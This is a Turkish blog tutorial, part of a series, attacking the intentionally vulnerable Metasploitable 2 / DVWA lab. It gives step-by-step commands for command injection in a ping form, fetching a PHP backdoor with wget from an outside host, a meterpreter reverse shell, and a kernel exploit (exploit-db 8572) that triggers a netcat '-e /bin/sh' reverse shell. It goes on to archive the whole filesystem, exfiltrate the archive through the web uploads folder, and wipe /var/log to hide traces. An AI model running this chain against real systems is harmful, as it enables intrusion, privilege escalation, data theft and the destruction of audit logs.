Blog

Metasploitable İle Sızma Testleri 3

Metasploitable 2  ile sızma testleri yazımızın 3. kısmına hoş geldiniz. Bu yazımızda, geçen yazımızda bahsettiğimiz gibi Command execution ve XSS zafiyetini işleyeceğiz.  XSS ile BeeF kullanarak karşı tarayıcıyı ele geçireceğiz. Command executionile hedef de komut çalıştırıp backdoor ile ters bağlantı almaya çalışacağız. Ön bilgi olarak tekrar hatırlayalım.

Ana Hostum – Kali Linux : 192.168.92.129

Hedef Host – Metasploitable : 192.168.92.128

İlk olarak tekrar açık portları hatırlatmaya gerek olmadığını düşünüyorum çünkü bir önceki makalemizde bunları görmüştük, Metasploitable 2 de tonla açık port ve zafiyet barındıran hizmet olduğunu. DVWA üzerinden Command Exectution ile devam edelim. Command exec. Adından anlayacağımız üzere komut çalıştırma zafiyeti diyebiliriz. Bir form vardır ve  o formun işlevi ping atmaktır sizden ping atılacak ip adresini ister sizde ip adresinizi girersiniz ve size ping in döndürdüğünü yansıtır. Ping dışında bir çok hizmet olabilir. Önemli olan girilen komutun karşı hedef üzerinde bir işlevinin olması. Ping, nslookup vs DVWA da ping üzerinden işlem yapıyor. İlk önce karşımızdaki görüntüye bi bakalım.

Arkadaş bizden ip adresi istiyor. Örneğin lokal ip verelim ne dönüyor bir görelim;

127.0.01 veya localhost

Ping den dönen sonuçlar üstte. Şimdi biz burayı nasıl sömürebiliriz. İlk olarak içeride çalışan kodu az bucuk bir tahmin edelim. Kullanıcıdan input textden ip alınıyor ve bir komutu sunucu üzerinde çalıştırmak için php de ki exec veya shell_exec fonksiyonu çalışıyor girilen ip adresini komut olarak yazıp bizde döndürüyor. Şimdi tam olarak kodu görelim yapı nasılmış. Bunun için sağ altta view source butonuna basıyoruz. Popup ekranında bize arkada çalışan php kodu gösteriyor.

Görüyoruz ki az çok tahmin ettiğimiz gibi input textden ip adresini alıp target değişkenine atıyor ve shellexec ile standart olarak ping i yazıp değişken olarak target ın çalıştırdığı ipyi yazıyor. Burada kodda gördüğümüz tek çalışan ping komutu. Ama bunun sömürülmesi gerekiyor. Az bucuk linux veya windows komut yapısına aşina iseniz burada çözümü hemen aklınıza getirmiş olmanız gerekir. İlk olarak şunu bilelim karşıda çalıştıracağımız komut linux da çalışacağı için, yani metasploitable kerneli *nix üzerin yazılı oldugu için bash tabanında çalışacak. Bu yüzden windows daki "net user" "ipconfig" "sc" gibi komutlar çalıştramayacağız. Çalıştıracağımız komutlar linux bash komutları olmalı. Bir nevi yazılan komutun sona erdiğini gösteren ve bir sonraki komut için bize iman veren "; karakteri bizim işimizi görecek. Yani tamam biz ip adresini yazacağız ama ; ekleyeceğiz ping komutunun bizden alacağı birşeyin kalmadığını göstereceğiz. Bunu terminalde deneyebilirsiniz. -- ; den sonra komut çalıştırmaya başlayacağız. Bi deneyelim;

localhost; ls

Komutu ile önce localhosta ping attırıp ls ile dizinde listeleme yapıyoruz. Ne var ne yok.

Önce localhosta ping attı ping işlemi bittikten sonra ls komutunu işleme aldı ve help , index.php, source un var olduğu bir dizinde olduğumuzu söyledi.  Başka bir çözüm yolu da && mantıksal ifadesi. Bu "VE" manasına geliyor. Bileniniz vardır belki.

127.0.0.1 && cat /etc/passwd

Burada yazılan komutta önce 127 li ipye ping atmasını ve etc dizinindeki passwd dosyasını bize göstermesini sağlıyoruz. Çıktımız şu şekilde;

Bu tarz mantıksal ifadeler çoğaltılarak çözüm yolları üretilebilir. Şimdi bizim bu senaryo da hedefimiz, hedef makinada en üst yetkiye sahip olmak yani root kullanıcısına erişmek, onun yetkilerini kullanmak. Hatırlarsanız önümüzdeki konularda yetki yükseltme çeşitlerinden bahsedeceğimizi söylemiştim.  Burada kaba tabirle "root olduktan" sonra yapılacak şey  hedefin komple backupını alıp arşivimize eklemek olacaktır. Bu sayede her seferinde sunucuda bıtbıt git gel yapmayıp karşı tarafın da gözüne batmayıp işimize local makinada devam edebileceğiz. İşin en sonunda da sunucu üzerinde kaydedilen logları temizleceğiz.

İlk olarak ters bağlantı alalım. Bunun için msfvenom ile php backdoor oluşturalım.  Backdoor oluşturmayı görmüştük bu yüzden tekrar deginmeyeceğim. Backdoor u bir hosta txt olarak veya php olarak yüklüyoruz. Çalıştıracağımız komut şudur;

127.0.0.1 && wget http://hostumuz.com/backdoorumuz.php veya backdoorumuz.txt -O  backdoor.php

Bu komutları metasploitable sızma testleri 1 ve 2. yazımızda gördüğümüz için ekran görüntülerini eklemiyorum.  

(Ben backdoorumu DVWA hackable/uploads dizinine ekliyorum. Bunun için yazacağım komut;

Wget http://x.x.x.x.com/backdoorum.txt -O/var/www/dvwa/hackable/uploads/backdoorum.php

gibi olacaktır. )

Benim backdoorumun adı : shell2.php dir.

Backdooruma erişeceğim dizin /dvwa/hackable/uploads/shell2.php olacaktır haliyle.

Hemen msfconsole’u açalım ve multi/handler‘a geçiş yapıp payload olarak php/meterpreter/reverse_tcp yi belirliyoruz.

Daha sonra LHOST olarak dinleyici makinamın ip adresini yani kali makinamın ip adresini yazacağım.

Msf> Set LHOST 192.168.92.129

Daha sonra run diyerek backdoor dan ters oturum almak için dinlemeye geçiyoruz

Bu sırada http://192.168.92.128/dvwa/hackable/uploads/shell2.php backdoor linkime erişim sağlıyorum ve ters bağlantımı alıyorum.

Ters bağlantıyı aldıktan sonra meterpreter dan shell deyip bash üzerine erişim sağlıyoruz. Whoami iel şuan üzerinde bulunduğumuz kullanıcı adını görüntülüyoruz.  Buraya kadar olan her şeyi geçen 2 yazımızda görmüştük. Buradan sonrasında root yetkisine bürünmemize geldi sıra. Kernel çekirdek sürümünde var olan güvenlik açıklarından ötürü yazılan istismar scriptlerinden faydalanmayı deneyelim. Kernel sürümünü öğrenmek için uname -a komutunu yazalım.

2.6.24 sürümündeymiş. Bu sürümün üzerine yazılmış olan bir exploit varmı buna bakalım. Öncesinde exploitn ne olduğuna az bir şey değineyim. Exploit, bir işletim sisteminin, bir scriptin, bir yazılmın veya kod parçacığında bulunabilecek güvenlik açıklarını sömürmek için geliştirilmiş kodlar bütünü dosyadır.

Her güvenlik açığına yazılacak olan exploit farklıdır. Güvenlik Açığının çeşidi zorluğu ve bulunduğu altyapıya göre bu çeşitlilik gösterir. C, Ruby, C++, Python, PHP gibi programlama dillerinde exploitler yazılabilir. Yalnız PHP dilinde, Kernel üzerinde var olan bir güvenlik açığına exploit geliştirmeniz çok zordur. Bunun sebebi PHP dilinin ram bellek veya işlemci ile iletişim doğrudan iletişim kurmasının güç oluşundandır. Yani php diliyle mikro işlemci, ram bellek veya cpu üzerinde hakim bir şekilde kod yazmanız çok zordur. Bu php dilinin yapısından kaynaklıdır. PHP burada örnektir, örnekler çoğalabilir. Bunun PHP dilinde yazılan kodların önce yorumlanıp sonra derlendiğinden kaynaklanmaktadır. PHP dili bir web programlama dilidir bu sebeple önce yazılan kodlar yorumlayıcı tarafından yorumlanır sonra derlenir.  PHP dili C/c++ ile  geliştirilmiş bir programlama dilidir bu sebeple yazılan php kodlarının ve fonksiyonlarının, methodların c/c++ dillerinde bir karşılığı vardır. Bu kodlar önce c/c++ diline çevrilir sonra c/c++ ile derlenir ve işlemcinin anlayacağı 1 ve 0 lara dönüştürülür.

Adım adım bakarsak PHP -> C/C++ -> BİNARY (1-0) olarak sıralayabiliriz. Yani 3 adımlık bir işlemden sonra bu kodlar çalıştırılır. Ama C/C++ diliyle işlemciye ve belleğe(assembly dili kadar olmasada) PHP dilinden daha fazla erişim sağlanabilir ve işlem yapılabilir. Bu c/c++ dilinin esnekliğinden kaynaklanır.  Bu sebeple C/C++ dilleri kernel exploitleri yazmak için idealdir.

Biz metasploitable 2 nin kernel sürümü olan 2.6.24 üzerinde var olan güvenlik açıklarından dolayı daha önceden yazılmış bir exploit varmı bunu araştıracağız. Bunun için çeşitli yöntemler vardır. Exploitlerin yayınlandığı online platformlar vardır ve bu tarz platformlarda bulunan güvenlik açıklarının exploitleri vs satılır yada public olarak paylaşılır. Exploit-db, cve, cve mitre, rapid7 gibi platformlar bunlara örnek verilebilir. Ben bu yazımda perl dili ile yazılmış  linux exploit suggester aracını kullanacağım.Bu araç kendisine girilen kernel sürümü üzerinde exploitler yazılmış mı buna bakar ve yayınlandığı sitelerin linklerini bizimle paylaşır. Windows makinam üzerine active perl yazılımı kuruludur bu şekilde komut satırı üzerinden perl komutları ve dosyaları çalıştırabileceğim. Linux exploit suggester a github üzerinden erişebilirsiniz.

https://github.com/PenturaLabs/Linux_Exploit_Suggester

İndirdiğim aracı perl dizinine ekledim. Şimdi komut satırından perl dizinine erişip perl.exe ye erişim sağlayacağım ve orada bulunan linux exploit suggester aracını çalıştıracağım.

Yazdığımız komut sonucu 65 tane exploit buldu. Bazı exploitlerin yazılış dillerine bakıldığında çoğunun c c++ ile yazıldığını görebilirsiniz. Başka başka araçlarla ve yöntemlerle de exploit aramaları yapabilirsiniz örneğin google üzerinden linux 2.x.x exploit benzeri aramalarla sonuca ulaşılabilir. Ben http://www.exploit-db.com/download/8572 bu exploiti kullanacağım. Bunun için hali hazırda Netcat yazılımınıda kullanmamız gerekecek. Çünkü port dinlemesi yapacağız root olurken. Netcat yazılımı TCP ip dinlemeleri yapabilen bir yazılım. Kücük boyutta bir yazılım olmasına rağmen çok fazla işlevi mevcut. Ayrıntılı bilgiyi https://tr.wikipedia.org/wiki/Netcat buradan bulabilirsiniz. Exploiti hedef makinada bir dizine indiriyoruz. Ben uploads dizinine *.c uzantısıyla yükledim.(8572.c) Şimdi bunu gcc aracı ile derleyelim.

Komutumuz;

Gcc 8572.c -o exploit

Derleme işlemi başarılı. Şimdi netcat oturumu oluşturmamız gerekiyor bunun için kali makinamda yeni bir terminal açıp yazacağımız komut;

Nc –lvp 4444

Ben local makinamda 4444 portu ile dinleme yapacağım. Dinlemeye başladı.

Şimdi bu exploiti caliştirmamız için bir kaç komut girmemiz gerekiyor. Her exploitte bu komutları yazmanıza gerek yok. Exploitin çalışması için var olması gereken şeyler bunlar (yanlızca bu exploit içindir ve güvenlik açığının dominantlığıyla ilgilidir.)

İlk olarak /tmp/run dosyasına aşağıda ki komutları yazmamız gerekiyor.

echo '#!/bin/sh' > /tmp/run

echo '/bin/netcat -e /bin/sh kali_ip'si 4444' >> /tmp/run

Komutları yazdıktan sonra;

Ps –eaf ile çalışan ilemlerden udevd işleminin PID yani process İD sine bakmamız gerekiyor.

Bunun için;

ps -eaf | grep udev | grep -v grep  komutunu yazıyoruz.

2780 process idsine sahipmiş. -1 ile 2779 diyerek exploitimizi çalıştıracağız çalıştırırken 2779 ekleyeceğiz yoksa bu exploit hata verir ve çalışmaz.

Exploiti çalıştırmak için komutumuz;

./exploit 2779

Biliyorsunuz exploit c ile yazılmıştı ama biz derlerken exploit ismi ile derledik.

Exploitimizi çalıştırdık netcat penceresine bakalım bağlantımız gelmiş mi.

Evet exploitimiz başarıyla çalıştı bağlantımız gelmiş. Id komutuyla şuan hangi kullanıcı yetkisine sahip olduğumuza baktığımızda root kullanıcısına erişim sağladığımızı görüyoruz. Şuan hedefte en üst düzey yetkiye sahibiz. Hedefte her türlü işleme iznimiz var artık. Şimdi root dizininden tar.gz uzantısında sıkıştırılmış bir backup alalım.

Komutumuz ;

tar -C / -cz / >cezerisga.tar.gz

Burada dosyamızın ismi cezerisga.tar.gz olacağını belirtiyoruz. -cz parametresinden sonra backup almak istediğimiz dizini yazıyoruz. / kök dizin manasındadır. Sizin hedefinizde sistemde var olan bir user varsa /home/username/ gibi yazabilirsiniz. İsterseniz cat komutu ile /etc/shadow dan encrpyt ile saklanan userların şifrelerine bakabilirsiniz.

Sunucudaki dosyalar ne kadar fazla ise o kadar uzun sürede backup alma işlemi tamamlanır.

Bizim şuan aldığımız full backuptır.

Görüldüğü üzere dosya oluşturuldu fakat hala boyutu artmakta yani backup alma işlemi tamamlanmış değil. Şimdi bu işlem yapıldıktan sonra biz bunu nasıl çekeceğiz diyeceksiniz. Bunun için kopyalama veya taşıma komutlarıyla dosyayı dvwa scriptinde uploads dizinine gönderip tarayıcı üzerinden çağırdığımızda direk indirme işlemine geçecektir. Bunuda görelim. Ama bakıyoruz ki dosyamızın boyutu hala artmakta.

Bitişinden emin olmamızın bir diğer yoluda o anki processlara bakmak olacak.

Ps | grep cezerisga

Yazarak o an makinada çalışan işlemler den "cezerisga" yı cınbızlayarak "cezerisga" yı içerisinde barındıran bir işlem varmı yokmu görebilirsiniz. Direk ps yazarak da o an çalışan işlemlere bakabilirsiniz.

Görüyoruz ki cezerisga.tar.gz ile sıkıştırma işlemi yok. Yani işlem bitmiş. Evet backup işleminin tamamen bittiğinden emin olduğumuz vakit aşağıda ki komutları yazarak kopyalama veya taşıma, silme işlemlerini yapabilirsiniz.

Komut  : :::::::: : Açıklama

Cp    :::::::::::::::::: copy den gelir kopyalama manasına gelir.

Mv :::::::::::::::::::: move dan gelir taşımak manasındadır.

Rm :::::::::::::::::::: remove dan gelir silme manasındadır.

Biz taşıyalım. Dosyamız yaklaşık 800 mb boyutunda olduğu için aynı dosyayıp kopyalamak +800 mb manasına geldiğinden hedefte ekstra yük olacağında göze batabiliriz. Bu yüzden var olan dosyanın dizinini değiştirmek daha iyi. Komutumuz;

Mv /cezerisga.tar.gz /var/www/dvwa/hackable/uploads/cezerisga.tar.gz

Taşıma işlemi bittikten sonra hedef dizine gittiğini görebiliyoruz.

Bu dizine tarayıcı üzerinden erişip indirme işlemine başlayalım.

http://192.168.92.128/dvwa/hackable/uploads/cezerisga.tar.gz

Indirme işlemimiz başladı. İndirme işlemi bittikten sonra sıra izlerimizi temizlemeye geldi. Çalıştırdığımız komutlar ve işlemlerin her sunucu üzerinde log tutulduğunu biliyoruz. Linux üzerinde bunlar /var/log/ dizininde tutulurken windows üzerinde event viewer üzerinde veya hizmetine göre bazı dizinlerde tutulmaktadır.

Biz /var/log/ dizininde ne var ne yok silelim. :)

Bir not daha belirteyim. Burada yazdıklarımız insanları hacklemeye değil güvenlik almalarına yöneliktir. Hacker ne yapar bilmezsek biz n'aparız :)

Devam edelim. Önce /var/log/ dizininde nele var ona bakalım.

İrili ufaklı bir sürü log var. Bunları rm /var/log/* komutu ile silelim.

Ben komple dizinle birlikte sildim. Bu makale biraz uzun oldu. Bu yüzden planımda bu makale içerisinde XSS zafiyetini de tanıtmak ve beef ile tarayıcı kontrolünü anlatacaktım. Çok fazla uzamaması için burada bitirip sonraki yazıya bırakıyorum.




Yazar Hakkında

Lise son sınıf öğrencisidir, 2010 yılından beri siber güvenlik ile ilgilenmektedir. CSS, PHP, C/C++ dilleri ve Web Penetration Testing ile yakından ilgilenmektedir. Bunlara ek olarak Sistem, Network ve Güvenlik Uzmanlığı eğitimleri almış olan Kelepçe, Bug Bounty Ödül Avcılığı kapsamında birçok tanınmış şirketten ödül almıştır, şuanda bilişim faaliyet topluluklarında Bilgi Güvenliği ve Sızma Testleri işlerini gönüllü olarak yapmaktadır.






Yorum Yapmak İçin Giriş Yapın.